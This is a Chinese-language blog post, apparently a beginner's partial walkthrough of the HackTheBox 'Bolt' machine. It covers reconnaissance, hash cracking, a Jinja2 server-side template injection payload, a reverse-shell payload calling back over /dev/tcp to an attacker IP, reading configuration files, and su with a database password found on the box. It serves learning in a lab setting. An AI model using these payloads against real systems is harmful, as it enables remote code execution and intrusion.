SugarCrash!

记录学习,想找个师傅带带我

0%

Bolt

收集

nmap -A -sS -sV 10.110.11.114

echo "10.10.11.114 bolt.htb" >> /etc/hosts
发现一个download

1
gobuster vhost -u http://bolt.htb -t 30 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
1
找到一个mail.bolt.htb echo "10.10.11.114 mail.bolt.htb demo.bolt.htb" >> /etc/hosts


翻文件翻到一个数据库文件,用kali的工具打开


找到了一个hash值,用john或者hashcat尝试破解一下

deadbolt
尝试ssh登录一下

前面的登录哪里试了一下,进去了


给了些有用的信息,docker?要我docker逃逸? 邮件系统有问题?

1
demo网页的页脚 Flask框架 邮件,wp利用SSTI https://cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti



1
确认SSTI漏洞存在用payload {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}

⚠️upload failed, check dev console

1
修改payload反弹shell {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.28/1234 0>&1"').read()}}

nc -nvlp 1234
终于来了

提权

grep 'bash' /etc/passwd

1
2
3
cd /etc/passbolt 
ls -la
cat passbolt.php


连接数据库发现两个账户,我想问这个在nc里面连数据库没回显该怎么解决啊,大哥有看到会的教教我

尝试数据库密码登录这个账户 su eddie rT2;jW7<eY8!dX8}pQ8% python3 -c “import pty;pty.spawn(‘/bin/bash’)” 在家目录能找到第一个flag

后面的找到一个PGP加密的,wp叫转hash然后解。不会了。